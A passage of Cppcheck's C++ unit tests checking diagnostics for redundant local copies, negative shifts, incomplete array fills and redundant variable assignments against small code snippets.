\" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 